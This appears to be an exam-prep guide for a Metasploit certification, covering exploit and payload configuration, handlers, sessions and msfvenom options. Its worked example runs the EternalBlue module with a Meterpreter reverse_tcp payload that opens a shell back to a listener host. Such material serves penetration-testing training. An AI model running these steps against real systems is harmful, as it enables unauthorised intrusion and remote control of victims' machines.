MSF RCP: Exploitation with Modules and Payloads

Exploitation with modules and payloads tests whether you can configure an exploit correctly, select a compatible payload, establish a handler, and manage sessions without collateral damage. Expect questions on TARGET, PAYLOAD, LHOST, LPORT, staged payloads, multi/handler, and msfvenom.

Core rules

• Minimum configuration is RHOSTS, RPORT, TARGET, PAYLOAD, LHOST, and LPORT. LHOST must be an address the target can reach; 127.0.0.1 only works when the target is the same host.
• show payloads lists payloads compatible with the selected target. Architecture and platform must match; a 64-bit target generally needs an x64 payload.
• exploit -j runs as a job; exploit -z backgrounds the session after success. sessions -l lists sessions; sessions -i <id> interacts.
• For a standalone listener, use exploit/multi/handler, set the same PAYLOAD, LHOST, and LPORT, and set ExitOnSession false if you need multiple sessions.
• msfvenom generates payloads outside the console: -p payload, -f format, -e encoder, -i iterations, -x template, -o output.

Worked example

Use exploit/windows/smb/ms17_010_eternalblue. Set RHOSTS 10.10.10.23, LHOST 10.10.10.5, LPORT 4444, and PAYLOAD windows/x64/meterpreter/reverse_tcp. Run exploit -z, then sessions -i 1. Reasoning: the target is 64-bit, so the x64 payload matches; LHOST is the tester's reachable interface; the exploit module starts its own handler, so a separate multi/handler is unnecessary. If you later generate a standalone EXE with msfvenom, you must start multi/handler with the identical payload and ports.

Traps

• Leaving LHOST as localhost or a NAT address the target cannot route to.
• Choosing a payload for the wrong architecture.
• Starting a handler with a staged payload name when the generated payload is stageless.
• Assuming an encoder provides antivirus evasion.
• Using exploit -j and then wondering why no session appears in the foreground.